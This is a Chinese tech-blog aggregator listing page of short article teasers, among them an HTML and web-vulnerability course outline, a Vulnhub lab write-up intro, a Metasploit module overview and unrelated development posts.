    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more